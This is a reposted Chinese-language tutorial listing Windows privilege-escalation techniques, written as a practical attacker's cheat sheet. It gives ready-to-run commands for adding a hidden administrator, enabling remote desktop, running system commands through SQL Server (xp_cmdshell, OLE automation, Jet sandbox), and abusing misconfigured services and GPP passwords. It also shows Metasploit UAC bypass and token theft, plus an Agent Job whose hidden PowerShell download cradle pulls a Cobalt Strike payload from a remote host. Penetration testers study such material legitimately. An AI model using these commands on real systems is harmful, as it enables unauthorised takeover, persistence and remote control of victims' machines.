Windows提權(quán)的幾種常用姿勢(shì)
本文轉(zhuǎn)載自微信公眾號(hào)「Bypass」,作者Bypass 。轉(zhuǎn)載本文請(qǐng)聯(lián)系Bypass公眾號(hào)。
當(dāng)獲取主機(jī)權(quán)限時(shí),我們總是希望可以將普通用戶提升為管理員用戶,以便獲得高權(quán)限完全控制目標(biāo)主機(jī)。Windows常用的提權(quán)方式有:內(nèi)核提權(quán)、數(shù)據(jù)庫(kù)提權(quán)、系統(tǒng)配置錯(cuò)誤提權(quán)、組策略首選項(xiàng)提權(quán)、Bypass UAC提權(quán)、令牌竊取提權(quán)等姿勢(shì)。
1. 內(nèi)核溢出漏洞提權(quán)
由于目標(biāo)系統(tǒng)沒(méi)有及時(shí)安裝補(bǔ)丁,攻擊者可以利用Windows系統(tǒng)內(nèi)核溢出漏洞進(jìn)行提權(quán),輕易獲取system權(quán)限。
(1) 通過(guò)systeminfo比對(duì)KB編號(hào),發(fā)現(xiàn)系統(tǒng)是否存在漏洞。
github項(xiàng)目地址:https://github.com/AonCyberLabs/Windows-Exploit-Suggester
(2) 找到對(duì)應(yīng)漏洞的exp執(zhí)行,獲取system權(quán)限
github項(xiàng)目地址:https://github.com/SecWiki/windows-kernel-exploits
(3) 添加管理員
- net user 用戶名 密碼 /add
- net localgroup Administrators 用戶名 /add
(4) 開(kāi)啟遠(yuǎn)程桌面
- # 開(kāi)啟遠(yuǎn)程
- REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f
- # 查詢遠(yuǎn)程端口
- REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber
2. 數(shù)據(jù)庫(kù)提權(quán)
(1) MySQL提權(quán)
利用mysql的幾種提權(quán)方式,如udf提權(quán)、mof提權(quán)、啟動(dòng)項(xiàng)提權(quán)等。
- udf提權(quán):通過(guò)創(chuàng)建用戶自定義函數(shù),對(duì)mysql功能進(jìn)行擴(kuò)充,可以執(zhí)行系統(tǒng)任意命令,將mysql賬號(hào)root轉(zhuǎn)化為系統(tǒng)system權(quán)限。
- mof提權(quán):在windows平臺(tái)下,c:/windows/system32/wbem/mof/nullevt.mof 這個(gè)文件會(huì)每間隔一段時(shí)間(很短暫)就會(huì)以system權(quán)限執(zhí)行一次,所以,只要我們將我們先要做的事通過(guò)代碼存儲(chǔ)到這個(gè)mof文件中,就可以實(shí)現(xiàn)權(quán)限提升。
- 啟動(dòng)項(xiàng)提權(quán):將后面腳本上傳到系統(tǒng)啟動(dòng)目錄,當(dāng)服務(wù)器重啟就會(huì)自動(dòng)執(zhí)行該腳本,從而獲取系統(tǒng)權(quán)限。
(2) SQL Server 提權(quán)
利用SQL Sercer執(zhí)行系統(tǒng)命令的方式也有多種,比如xp_cmdshell、SP_OACREATE、沙盒、Agent Job、CLR來(lái)提權(quán)。
使用xp_cmdshell進(jìn)行提權(quán):
- # 啟用xp_cmdshell
- EXEC master..sp_configure 'show advanced options', 1;RECONFIGURE;EXEC master..sp_configure 'xp_cmdshell', 1;RECONFIGURE;
- # 通過(guò)xp_cmdshell執(zhí)行系統(tǒng)命令
- Exec master.dbo.xp_cmdshell 'whoami'
SP_OACREATE:
- # 開(kāi)啟組件
- EXEC sp_configure 'show advanced options', 1;RECONFIGURE WITH OVERRIDE;EXEC sp_configure 'Ole Automation Procedures', 1;RECONFIGURE WITH OVERRIDE;
- EXEC sp_configure 'show advanced options', 0;
- # 執(zhí)行系統(tǒng)命令(無(wú)回顯)
- declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c whoami'
通過(guò)沙盒執(zhí)行命令:
- # 開(kāi)啟沙盒
- exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
- # 利用jet.oledb執(zhí)行命令
- select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\dnary.mdb','select shell("whoami")')
通過(guò)Agent Job執(zhí)行命令:
修改開(kāi)啟Ageent Job,執(zhí)行無(wú)回顯CobaltStrike生成powershell上線
- USE msdb; EXEC dbo.sp_add_job @job_name = N'test_powershell_job1' ; EXEC sp_add_jobstep @job_name = N'test_powershell_job1', @step_name = N'test_powershell_name1', @subsystem = N'PowerShell', @command = N'powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring(''http://192.168.214.129:80/a''))"', @retry_attempts = 1, @retry_interval = 5 ;EXEC dbo.sp_add_jobserver @job_name = N'test_powershell_job1'; EXEC dbo.sp_start_job N'test_powershell_job1';
3. 系統(tǒng)配置錯(cuò)誤提權(quán)
(1) 權(quán)限配置錯(cuò)誤
如果管理員權(quán)限配置錯(cuò)誤,將導(dǎo)致低權(quán)限用戶對(duì)高權(quán)限運(yùn)行的文件擁有寫入權(quán)限,那么低權(quán)限用戶就可以替換成惡意后門文件,獲取系統(tǒng)權(quán)限。一般在啟動(dòng)項(xiàng)、計(jì)劃任務(wù),服務(wù)里查找錯(cuò)誤配置,嘗試提權(quán)。
(2) 可信任服務(wù)路徑漏洞
(3) 不安全的注冊(cè)表權(quán)限配置
如果低權(quán)限用戶對(duì)程序路徑所對(duì)應(yīng)的鍵值有寫權(quán)限,那么就可以控制這個(gè)服務(wù),運(yùn)行后門程序,從而獲取權(quán)限。
- # 存儲(chǔ)Windows服務(wù)有關(guān)的信息
- HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services
- # 服務(wù)對(duì)應(yīng)的程序路徑存儲(chǔ)
- HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Vulnerable Service\服務(wù)名\ImagePath
- 3.4 AlwaysInstallElevated
注冊(cè)表鍵AlwaysInstallElevated是一個(gè)策略設(shè)置項(xiàng)。windows允許低權(quán)限用戶以System權(quán)限運(yùn)行安裝文件。如果啟用此策略設(shè)置項(xiàng),那么任何權(quán)限用戶都能以NT AUTHORITY\SYSTEM權(quán)限來(lái)安裝惡意的MSI(Microsoft Windows Installer)文件。
4. 組策略首選項(xiàng)提權(quán)
SYSVOL是域內(nèi)的共享文件夾,用來(lái)存放登錄腳本、組策略腳本等信息。當(dāng)域管理員通過(guò)組策略修改密碼時(shí),在腳本中引入用戶密碼,就可能導(dǎo)致安全問(wèn)題。
(1) 訪問(wèn)SYSVOL共享文件夾,搜索包含“cpassword”的XML文件,獲取AES加密的密碼。
(2) 使用kali自帶的gpp-decrypt進(jìn)行破解
5. Bypass UAC提權(quán)
UAC(User Account Control,用戶賬號(hào)控制),是微軟引入的一種安全機(jī)制。Bypass UAC提權(quán),可以將管理員權(quán)限提升到system權(quán)限。
使用msf模塊:
- msf5 exploit(multi/handler) > use exploit/windows/local/bypassuac
- meterpreter > getuid
- meterpreter > getsystem
6. 令牌竊取提權(quán)
通過(guò)竊取令牌獲取管理員權(quán)限,在MSF中,可以使用incognito實(shí)現(xiàn)token竊取。
- meterpreter > use incognito #進(jìn)入incognito模塊
- meterpreter > list_tokens -u #列出令牌
- meterpreter > impersonate_token "NT AUTHORITY\SYSTEM" #模擬令牌